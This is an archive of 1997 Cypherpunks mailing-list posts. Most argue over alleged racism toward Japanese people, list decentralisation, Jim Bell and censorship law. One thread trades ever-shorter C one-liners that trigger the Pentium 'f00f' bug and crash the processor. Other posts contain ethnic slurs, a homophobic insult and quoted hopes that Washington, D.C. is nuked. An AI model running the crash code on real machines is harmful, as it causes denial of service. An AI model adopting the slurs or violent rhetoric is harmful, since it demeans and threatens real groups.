> find Tim`s post an example of what the developed world knows as humour, 
> not a serious attack on any ethnic group.

Tim May's post seems funny to you?  Not a racist comment?

His imitation of a Japanese accent is purely offensive.  Paul, would
you feel comfortable offering this kind of "humor" in a gathering which
included Japanese visitors, perhaps potential customers?  That comment
about kicking Japan's butt would really be humorous, wouldn't it?

It is astonishing that people like you and William Geiger, who apparently
make their living as consultants, feel so comfortable publicly approving
racist comments directed against the Japanese.  Does William expect ever
to work with a Japanese customer, after suggesting that Truman should
have dropped additional atomic bombs on Japan?

Even if you share Tim May's lack of moral constraint, you presumably do
not also share his wealth.  Pragmatic considerations alone should make
you reluctant to be an apologist for racist comments, or in William's
case to compound the error with shockingly offensive remarks of his own.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 15 Nov 1997 10:28:58 +0800
To: cypherpunks@toad.com
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <199711142125.WAA13486@basement.replay.com>
Message-ID: <uZT7Fe22w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:

> Tim May wrote:
>
> > Just so.
> >
> > I'm actually delighted the Joichi Ito has, on the basis of my humor,
> > denounced me as a racist.
>
> Dimitri's humor is more humorous, anyway.

Timmy's not funny.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 15 Nov 1997 10:37:47 +0800
To: cypherpunks@toad.com
Subject: Jim Bell's Mug Shot
Message-ID: <1.5.4.32.19971115023114.00c93684@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Bell's mug shot from US News (and mine):

   http://jya.com/jbjy.jpg

The terrifying story itself:

   http://jya.com/next-wave.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Sat, 15 Nov 1997 05:20:28 +0800
To: cypherpunks@toad.com
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <199711141755.SAA20812@basement.replay.com>
Message-ID: <9711142104.AA49354@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain



> If you don't speak up when someone says something objectionable, you are
> implicitly condoning it.  Silence gives consent.

I'm not implicitly condoning the ASCII art insultbot just because I
ignore it.  Nor am I implicitly condoning William Geiger's posts when
I don't read them.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sat, 15 Nov 1997 14:17:56 +0800
To: jya@pop.pipeline.com
Subject: Re: Jim Bell's Mug Shot
Message-ID: <3.0.32.19971114221533.006c1b70@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young wrote:

>Jim Bell's mug shot from US News (and mine):
>
>   http://jya.com/jbjy.jpg
.............................................

Well, John, this is kind of amusing - why in the world did you put your
photos together?   You could become confused as being associated, you know.  
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 15 Nov 1997 14:25:39 +0800
To: cypherpunks@toad.com
Subject: Re: Will Jews be Forced to Accept Christ in Public Schools?
In-Reply-To: <97Nov11.113405est.32257@brickwall.ceddec.com>
Message-ID: <v0310281db092e0eb1aa8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:40 PM -0700 11/14/97, ? the Platypus {aka David Formosa} wrote:

>The system of democratic voteing assumes an educated voteing population
>because of this free scular education is a basic right that
>should be prodided by the state.

The"system" asssumes no such thing, any more than "the system assumes a
non-starving electorate, hence the state should provide meals for all."

Get an education, kid.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Sat, 15 Nov 1997 05:31:07 +0800
To: Jeff Barber <jeffb@issl.atl.hp.com>
Subject: Re: smaller f00f.c
In-Reply-To: <199711141815.NAA28804@jafar.issl.atl.hp.com>
Message-ID: <199711142121.WAA02716@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain




> > > main(i){int(*f)()=&i;i=0xc8c70ff0;f();}
> > > main(i){i=0xc8c70ff0;((int(*)())&i)();}
> > > (*f)();main(i){f=&i;i=0xc8c70ff0;f();}
> > > (*f)()="\360\017\307\310";main(){f();}       /* 38 chars */
> 
> > How about:
> > 
> > long main[]={0xc8c70ff0};
> > 
> > or even
> > 
> > main[]={0xc8c70ff0}; /* 21 chars */
> > 
> > Compiles with gcc, but I haven't tested it.
> 
> No need for an array, so my entry is:
> 
> int main=0xc8c70ff0; /* 20 chars */


On a DOS box, no need to compile.  Cut-n-paste the magic words
into a file.  Name the file "foof.com".  Run it.


4 bytes.  I win.  :-)


Bryce

P.S.  Not original with me.  Attribution lost in the mists of 
comp.sys.intel.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 15 Nov 1997 05:47:13 +0800
To: cypherpunks@toad.com
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <v0310280fb092516361eb@[207.167.93.63]>
Message-ID: <199711142125.WAA13486@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

> Just so.
> 
> I'm actually delighted the Joichi Ito has, on the basis of my humor,
> denounced me as a racist.

Dimitri's humor is more humorous, anyway.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 15 Nov 1997 13:04:09 +0800
To: tcmay@got.net (Tim May)
Subject: Re: This judge needs killing
In-Reply-To: <v0310280bb092291ceb73@[207.167.93.63]>
Message-ID: <199711150426.WAA19726@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Tim May wrote:
> (Hey, if the Paladin case withstands Supreme Court scrutiny and his upheld,
> look for the Cypherpunks list node distributors to face criminal charges.)

I do not think that it is entirely impossible either, but the likely
scenario is that the government may first try to harass us and attempt
the criminal charges only after some time.

In any case, the present structure of cypherpunks list is entirely
unacceptable. We have only three working nodes. This is bad since all
of these nodes reside in the US and can be taken out easily.

Besides government raids, we are all too susceptible on things like 
internet providers kicking us out, hard drives failing, and so on.
Theree nodes is not a good redundancy.

I plead foreign cypherpunks to at least establish backup nodes that could
be turned on should anything happen to the US-based ones.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 15 Nov 1997 13:05:34 +0800
To: aba@dcs.ex.ac.uk (Adam Back)
Subject: Re: smaller f00f.c
In-Reply-To: <199711141623.QAA03067@server.test.net>
Message-ID: <199711150429.WAA19784@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



int main=0xc8c70ff0;


igor

Adam Back wrote:
> 
> 
> 
> f00fie writes:
> > In the grand tradition of RSA-in-3-lines-of-perl, we present
> > Crash-A-Pentium-in-44-characters:
> > 
> >    main(){int i=0xc8c70ff0;void (*f)()=&i;f();}
> 
> Hey, challenge is on:
> 
> main(){int i=0xc8c70ff0;void (*f)()=&i;f();} /* f00fies 44 char */
> main(){((int(*)())"\360\017\307\310")();}
> main(){int i=0xc8c70ff0,(*f)()=&i;f();}
> main(i){int(*f)()=&i;i=0xc8c70ff0;f();}
> main(i){i=0xc8c70ff0;((int(*)())&i)();}
> (*f)();main(i){f=&i;i=0xc8c70ff0;f();}
> (*f)()="\360\017\307\310";main(){f();}       /* 38 chars */
> 
> Compiled with gcc.
> 
> (Note that I haven't tested them because I have an AMD k5 which
> doesn't suffer from this bug -- perhaps someone with an Intel pentium
> could try them).
> 
> Adam
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 15 Nov 1997 13:10:58 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Jim Bell's Mug Shot
In-Reply-To: <1.5.4.32.19971115023114.00c93684@pop.pipeline.com>
Message-ID: <v03007809b092c7835040@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



At 21:31 -0500 11/14/97, John Young wrote:
>   http://jya.com/next-wave.htm

Fascinating. My original article about Jim Bell's raid is at:

 http://cgi.pathfinder.com/netly/editorial/0,1012,800,00.html

I like these grafs:

Characters like James Dalton Bell are giving federal officials fits these days.
Bell, they believe, is one of a new generation of tinkerers and
technicians, of college-educated
extremists threatening to use biological, chemical, or radiological weapons
to achieve their goals.
Since the Aum cult's Tokyo nerve gas attack, FBI officials say the number
of credible threats to use
these weapons has jumped from a handful in 1995, to 20 last year, to twice
that number this year.
Among the incidents was the 1995 mailing of a videotape to Disneyland,
showing two hands
mixing chemicals and a note threatening an attack on the theme park.
Despite a major investigation,
the sender was never caught. Just last April someone sent a petri dish
labeled anthrax, an animal
disease deadly to humans, to the B'nai B'rith headquarters in Washington,
D.C. That proved to be
a hoax.

The recipes for such poison cocktails are available from underground
publishers and on the
Internet. One popularizer is an Arkansan named Kurt Saxon. Through books
and videotapes,
Saxon has been putting out ricin recipes for at least nine years. Convinced
that the U.S. will be
invaded and that the federal government can't be trusted to defend the
country, he has fashioned
various homemade explosives and poisons, including cyanide grenades and
ricin applicators. In one
segment of a $19.95 video, Saxon performs like a sinister Julia Child,
blending salt water and
solvents with castor beans. ("Pour in about 4 ounces of acetone," he says,
"and shake it up nice.")
"Uncle Fester," another near-legendary figure in the chem-bio underground,
has authored such
family classics as Silent Death, Improvised Explosives, and a guide to
methamphetamine and LSD
manufacture. Fester claims degrees in chemistry and biology, and his Silent
Death describes how to
produce poison gas, botulin and shellfish toxins, and ricin.

Similarly, entire manuals for making homemade explosives--TNT, plastic,
napalm--can be
downloaded from the Net, as well as plans for building triggers, fuses, and
timers. At least 11
online vendors offer books with recipes on biological or chemical weapons,
including Silent Death
and Kurt Saxon's The Poor Man's James Bond. All are based in the United
States. Adding to the
problem, many of the chemicals used to make nerve gas and other agents have
perfectly legitimate
uses and are readily available. "The genie has always been out of the
bottle," says one intelligence
analyst. "People are just discovering it."

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 15 Nov 1997 13:20:30 +0800
To: cypherpunks@cyberpass.net
Subject: Fwd: RNC/Lister's Calls Marines "Dangerous", "Extremists"
Message-ID: <v04002723b092ce0767ec@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


From: <Somebody>
Date: Fri, 14 Nov 1997 14:20:08 -0500 (EST)
To: rah@shipwright.com, <A bunch of other people...>
Subject: Fwd: RNC/Lister's Calls Marines "Dangerous", "Extremists"

I'm sure you all saw this in the newspapers and on TV.  The media were on it
like...
like..., well, like media in pursuit of Democrats.

I don't know why I thought of <one of above bunch>

Re: Br'er Tim....

I was sure Bob's mother taught him better than to get into a pissing match
with the business end of a sewer.


<Somebody's .sig>
---------------------
Forwarded message:
From:	shenry2@ix.netcom.com (Sean Henry)
Sender:	PRESSLIST@rnc.org (RNC Press List)
Reply-to:	shenry2@ix.netcom.com (Sean Henry)
To:	PRESSLIST@BRONZE.RNC.ORG (Multiple recipients of list PRESSLIST)
Date: 97-11-13 16:29:57 EST

RNC News Release

November 13, 1997

Nicholson Calls On Assistant Army Secretary To Step Down
Lister Calls Marines "Dangerous," "Extremists"

     Republican National Committee Chairman Jim Nicholson today
called on Assistant Secretary of the Army Sara E. Lister to resign
her position, following a speech in which she referred to U.S.
Marines as "extremists," and "a little dangerous."

     "It's astonishing that Secretary Lister has chosen to
denigrate the Marine Corps, and it is absolutely unacceptable to
have a person with this kind of mindset in a position of power at
the Pentagon," Nicholson said.  "For the good of the morale of
America's Armed Forces, she should publicly apologize and resign
immediately."

     Lister, one of President Clinton's Pentagon appointees, told
a panel of academics and military personnel at Harvard
University's Olin Institute in Baltimore on October 26, that "The
Marines are extremists.  Wherever you have extremists, you've got
some risks of total disconnection with society.  And that's a
little dangerous."

     "These 'extremists' have fought and died for our country for
more than two centuries," Nicholson said, noting that the Marine
Corps celebrated its 222nd anniversary November 10.  "Service
secretaries are supposed to support our men and women in uniform,
not publicly degrade their valor.  Her remarks serve as evidence
of her ignorance about what it takes to assemble and maintain an
effective fighting unit."

     Nicholson, a retired Army colonel, Army Ranger in Vietnam and
West Point graduate, said Lister's comments are reflective of what
he called the Clinton Administration's anti-military attitude.
"Bill Clinton wrote that he 'loathed' the military and he's
apparently appointed people who share his anti-military view,"
Nicholson said.

     Rising tensions between the U.S. and Iraq also demonstrate
the need for effective military leadership.  "A person with such a
negative attitude toward the patriots who serve in uniform has no
business in any military organization," Nicholson said.  "With
this administration contemplating the use of military force in
response to Saddam Hussein's lawless arrogance, it is inexcusable
for the Assistant Secretary of the Army to insult the very men and
women who would be on the front lines."

(Visit http://www.rnc.org for the latest news and information)

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Sat, 15 Nov 1997 13:28:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: This judge needs killing
In-Reply-To: <v03102819b092c8404f19@[207.167.93.63]>
Message-ID: <199711150525.XAA27459@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



Timothy C. May writes:

> One need only look to Usenet for a robust, automatically (and
> automagically) distributed system.

Usenet is horribly unreliable, alt and obscure newsgroups doubly so. 

Usenet is also slow.  Posts can take days to schlep their way across
servers.

A mailing list or web-based Cypherpunks, gated to and from a newsgroup,
might be an acceptable compromise.  That way we could still chat in
something resembling real time, with the newsgroup to fall back upon in
case SWAT teams took out all the list servers.

Of course, a newsgroup any moron could access from AOL without having to
"subscrive" would probably attract additional trolls and spam. 

-- 
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 15 Nov 1997 06:37:40 +0800
To: cypherpunks@cyberpass.net
Subject: cypherpunks@cyberpass.net
Message-ID: <199711142225.XAA20666@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous blathered:
>If you don't speak up when someone says something objectionable, you are
>implicitly condoning it.  Silence gives consent.  How many people have
>objected to Tim May's racist comments?  Only one or two.  How many objected
>when William Geiger suggested that more nuclear bombs should have been
>dropped on Japan?  None.  How many have objected to the notion that
>residents of Washington, D.C. should be killed?  Hardly any.

How many of us SHOULD bother responding to these trolls?

Tim May froths at the mouth.
William Geiger froths at the mouth.
Dimitri Vulis (KOTM) froths at the mouth.
Paul Bradley froths at the mouth.  (I just included him as a troll.)
Anonymous froths at the mouth.

How much pointless outrage should I feign everytime one of these people posts?
How much crap do you want to read?

If you don't like 'em, stick 'em in your kill file.

It's your right to complain, but don't expect me to give a shit.

>At one time the cypherpunks stood for freedom of speech and protection of
>privacy.  Today they stand for guns, violence, threats of terrorism and
>murder, racism, homophobia, jingoism.

No, we've always stood for homophobia, you anonymous cocksucker.

>It's ironic to see that the kind of off-topic, flaming, irrelevant
>posts which have caused such consternation in the past are now the norm.
>Reasonable people have been largely driven off the list, leaving it to
>supporters of violence and hate.

Is it better to wave your magic wand and ignore the erosion of our rights, or take up a gun and defend them?  You can try the political route if you want, but we're stuck in a tyranny of the majority.  The politicos stand behind a podium, claim they've got to "do something" to "save the children" and nobody argues.  How can you win an argument on free speech when Joe Sixpack only sees the EyeWitless News drones crying "Children get porn on the Internet!"?

Joe Sixpack would like nothing better than to silence the minority.  The other 49% of people really piss him off, what with their crucifixes in urine and that other liberal shit.  And Catholics.  They piss him off too.

The Constitution is supposed to protect our right to free speech.

Congress, at the urging of this majority of Joe Sixpacks, is trying to suppress it.

The answer cannot come through congress.  Cypherpunks would have to outnumber the civilians in an election, and that's just not gonna happen.  Our only hope is the defenses we can provide ourselves, and if that's court challenges, guns and crypto, well then as Tim almost sez:

Lock and load and encypher.  (Nuke the lawyers anyway.)

>The sad thing is, this is all unnecessary.  The original conception was
>that cryptography would allow people to protect the privacy of voluntary
>interactions.  Laws forbidding voluntary transactions will be difficult
>or impossible to enforce.  We will move into a world where there is far
>more liberty and freedom for everyone.
>
>There is no need to blast government agents' heads open.  There is no
>need to nuke D.C., or Japan.  There is no need to disparage people of other
>races and cultures.
>
>Step back from this immersion in a culture of violence.  Draw the cloak
>of privacy about your actions.  That is the true cypherpunk way.

Oh, come on, Zooko (oops, did I write that?  I meant "anonymous".)  What the hell do you know about the "True Cypherpunk Way", other than that's the name of the street in Bienfait, Saskatchewan that I live on?

JoeSixpackMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Fri, 14 Nov 1997 22:55:24 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <42ca13f9d34086b1b366bbfe8ab5e9da@anon.efga.org>
Message-ID: <199711141442.XAA00592@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



At 15:39 97/11/13 -0600, TruthMonger wrote:

>   I tried to tell my fellow CypherPunks that it was a mistake to 
> include that racist, white supremacist cypherpunks-j list in with 
> the other CDR lists, but they still let those slant-eyed white
> supremacists join our Mary band, skirts and all.

Actually, cypherpunks-j is not connected to the CDR lists.
I have made a local distribution of the cypherpunks list
called cypherpunks-e, but there currently only 2 subscribers.
I wonder why... ;-P

Cypherpunks-j and the meetings in Tokyo are focused more on
writing code and less on stroking and beating each other.

We were going to call the list something else, but Eric Hughes
attended one of our meetings and convinced us to call ourselves
cypherpunks... maybe that was a stupid decision.

But, I suppose chaos is good. For you and for us. It's always
nice to be reminded that racisms in the US is still alive
and active. Sometime I forget and almost identify with you
folks.

Oh and by the way:

Article 21 of the Constitution of Japan

Freedom of assembly and association as well as speech, press
and all other forms of expression are guaranteed.
2) No censorship shall be maintained, nor shall the secrecy of
any means of communication be violated. 

"nya nya na nya nya..."

 - Joi


--
PGP Key: http://pgp.ai.mit.edu:11371/pks/lookup?op=get&search=0x2D9461F1
PGP Fingerprint: 58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ji.to



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 15 Nov 1997 13:09:02 +0800
To: Jonah Seiger <jseiger@cdt.org>
Subject: Re: CDA: The Sequel -- introduced in the U.S. Senate
In-Reply-To: <v03007805b0902b2616d6@[204.254.21.105]>
Message-ID: <v0300780fb092da59bde9@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



Jonah, mon ami, I had almost forgotten the details of this little episode
in 1995 where CDT praises the "harmful to minors" version of the CDA.
Thanks for reminding me to refresh my memory. This excerpt is from a
document called "CDT-led Coalition letter to Telecomm Conferees, 11/9/95"
that lives at your web site.

http://www.cdt.org/policy/freespeech/1109_iwg_ltr.html
>"We believe it is possible to craft a criminal statute that punishes
>those who provide truly harmful material to children in a manner
>that both targets the serious offenses about which some conservative
>family groups are most concerned, and that also will withstand
>constitutional scrutiny. In particular, rather than relying on the
>vague and constitutionally suspect "indecency" standard, Congress
>should instead consider the "harmful to minors" standard within the
>framework of Title 18 of the United Sates Code. This standard is
>used in numerous state statutes and has been found constitutional
>by the United States Supreme Court."

-Declan

ObBillGates: Microsoft signed the letter too.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 15 Nov 1997 16:05:51 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <42ca13f9d34086b1b366bbfe8ab5e9da@anon.efga.org>
Message-ID: <19971114235753.18387@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Nov 14, 1997 at 02:17:12PM +0000, Paul Bradley wrote:
> 
> > This illustrates what a liability the poster has become to the cypherpunks.
> > The group is becoming just another militia front, identified with racism
> > and white supremacy, applauding violent murder of government agents,
> > one step from applauding the Oklahoma killings.  Its original purpose
> > all but forgotten, the list has died, poisoned by the hatred flowing from
> > its leader.
> 
> At the risk of responding to a post which has a good probability of being 
> a troll I will at least say that the above opinion may be that of several 
> members, but the fact is the list has evolved, it never had an original 
> defined purpose, at least not one easily put into words, and applauding 
> murder of government agents is a part of the whole strong crypto privacy 
> and liberty ethic.

Bullshit.  Applauding murder has nothing to do with strong crypto 
privacy or liberty.

> As for white supremacy, look elsewhere, I think you`ll 
> find Tim`s post an example of what the developed world knows as humour, 
> not a serious attack on any ethnic group.

Tim's post is an example of what the RACIST world knows as humor, 
Paul.  Racism isn't an intellectual phenomenon, it is a gut 
phenomenon.  Frequently it manifests itself in humor.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 15 Nov 1997 16:17:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism
In-Reply-To: <42ca13f9d34086b1b366bbfe8ab5e9da@anon.efga.org>
Message-ID: <19971115000110.24436@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Nov 14, 1997 at 12:22:43PM -0700, Tim May wrote:
> At 7:17 AM -0700 11/14/97, Paul Bradley wrote:
> 
> >and liberty ethic. As for white supremacy, look elsewhere, I think you`ll
> >find Tim`s post an example of what the developed world knows as humour,
> >not a serious attack on any ethnic group.
> 
> Just so.

Not so.  Tim is clearly a racist.

> I'm actually delighted the Joichi Ito has, on the basis of my humor,
> denounced me as a racist.  As a member of a "mongrelized society," as one
> prominent Japanese put it a while back (and not back in the 1940s...it was
> the 1980s), I am always happy to be called a racist by someone from one of
> the most racially homogeneous nations on earth, a nation which of course
> did not allow any "boat people" to settle in their nation, all the while
> denouncing the U.S. for letting only several hundred thousand boat people
> in.

Translation:  Don't look at me, look at those dirty racist japs.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 15 Nov 1997 16:29:24 +0800
To: Anonymous <cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <62c0ce046ea812e50882fefc2a6c5667@anon.efga.org>
Message-ID: <3.0.3.32.19971115001920.007385fc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:54 PM 11/14/1997 -0500, Anonymous wrote:
>His imitation of a Japanese accent is purely offensive.  

Well of _course_ it's offensive - he was trying to offend the guy, after all.....


				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 15 Nov 1997 16:33:00 +0800
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Key Signing
In-Reply-To: <199711141003.LAA02307@basement.replay.com>
Message-ID: <3.0.3.32.19971115002328.00739298@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:47 PM 11/14/1997 -0500, Robert Hettinga wrote:
>Except, how was Bill able to change the passphrase if he didn't know the
>old one?

It's one of Richard Stallman's old passwords.....

I was surprised that PGP 5.0 does the right thing when the passphrase
is empty - it's one of those things that's easy to miss, and in C
often leads to bad behaviour.
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Sat, 15 Nov 1997 08:09:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
Message-ID: <199711142345.AAA02020@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May writes:
>At 10:55 AM -0700 11/14/97, Anonymous wrote:
>
>>If you don't speak up when someone says something objectionable, you are
>>implicitly condoning it.  Silence gives consent.  How many people have
>>objected to Tim May's racist comments?  Only one or two.  How many objected
>>when William Geiger suggested that more nuclear bombs should have been
>>dropped on Japan?  None.  How many have objected to the notion that
>>residents of Washington, D.C. should be killed?  Hardly any.
>...SNIP...
>I have never said "residents of Washington, D.C. should be killed." As I
>recall my first comment along these lines, it was, paraphrasing (as I don't
>feel like spending 15 minutes sifting through my archived mail), along the
>lines of: "I fully expect to wake up some morning and hear that some
>terrorist nuke has destroyed Washington, D.C. I can't say I'll be crying."

Try this:

: To: cypherpunks@algebra.com
: From: Tim May <tcmay@got.net>
: Subject: Snickering at the Compromisers
: Date: Mon, 12 May 1997 16:03:37 -0800
: 
: For the 3rd or 4th time, I have never advocated terrorism, at least not of
: a physical sort. I have said I hope to see D.C. nuked, which is hardly the
: same as "advocating" terrorism in any meaningful sense (not even the "will
: no one rid me of this corrupt city?" sense, given that I have no
: Beckett-like powers).

You admit here that you've said you hope to see D.C. nuked.

Do you really hope that D.C. gets nuked?  Do other list readers agree?
How many people would this kill?  Over half a million live in the city
proper, with millions more in the surrounding areas.  You have now said
that you would hope to see many of these millions of people killed.

It is this kind of support for depraved violence which has poisoned
discourse on this mailing list.  It is unconscionable to support such
an act of cold-blooded terrorism.

You're not even the worst.  Other posters have supported this kind of
sickening violence even more openly.  No one complains.  Apparently
everyone with an ounce of moral sense has left the list long ago.

>>At one time the cypherpunks stood for freedom of speech and protection of
>>privacy.  Today they stand for guns, violence, threats of terrorism and
>>murder, racism, homophobia, jingoism.
>
>I've been here since the beginning...since before the beginning, actually.
>And I can tell you that the "political incorrectness" was the same in
>1992-4 as now. Perhaps you recall a little thing called Waco that happened
>around that time? Go back and read the traffic.

You seem to think that the only problem with Waco is that the wrong
innocents were killed.  You have no problem taking out innocents
in Washington D.C. if it lets you get at your enemies.  You are no
different from the agents who killed the men, women and children in Waco.
You have no right to set yourself apart from them.  You are as ruthless
and violent as the worst of them.

This list reeks of death and violence.  Apparently there is no problem
which can't be solved by killing.  Kill the innocents of D.C.  Kill the
children in the day care center in Oklahoma City.  Drop more bombs on
Japan.  Cheer the cold-blooded murder of a government agent.  Kill the
children who scrawl graffiti on your mailbox.

>Many of us don't "stand" for freedom of speech if it really means
>suppression of racist, homophobic, whatever speech, as it seems to me in
>many countries today. The Orwellian "freedom of speech does not mean
>freedom to say wrong or offensive things" is a meme that seems to be
>spreading.

Of course you have the right to post what you like.  But when you spew
garbage, I have the right to say it stinks.  It seems that other posters
have lost their sense of smell.  They say that's what happens when you
spend your time wallowing in sewage.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Sat, 15 Nov 1997 08:30:14 +0800
To: cypherpunks@toad.com
Subject: degree of anonymity
In-Reply-To: <65a00aae0e204b2dbf6415a44da035dd@anon.efga.org>
Message-ID: <m0xWVrY-0003bcC@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



> Have there been any studies done as to the degree
> of anonymity obtained from using these remailers?
> (I haven't been able to find any.)

Have a look at:

David Chaum: Untraceable Electronic Mail, Return Addresses, and Digital
Pseudonyms, Communications of the ACM 24 (1981) 2, pp 84--88,
http://world.std.com/~franl/crypto/chaum-acm-1981.html

Wei Dai: Traffic analyzing Chaum's digital mix, 1995,
http://www.eskimo.com/~weidai/traffic.txt

Lance Cottrell: Mixmaster and remailer attacks, 1995,
http://www.obscura.com/~loki/remailer/remailer-essay.html


> And does anyone know of any studies being done
> in determining whether or not content-based
> analysis - diction and language - is a reliable
> way to determine identity?

Thomas Horton: Stylometry. In: R. Asher (ed.): The Encyclopedia of
Language and Linguistics, Pergamon Press, 1994, pp 4383--4385.

Joseph Rudman, David I Holmes, Fiona J. Tweedie, R. Harald Baayen: The
State of Authorship Attribution Studies, 1997,
http://www.qucis.queensu.ca/achallc97/papers/s004.html

A somewhat related area:

Ivan Krsul, Eugene Spafford: Authorship Analysis: Identifying The
Author of a Program, 1997,
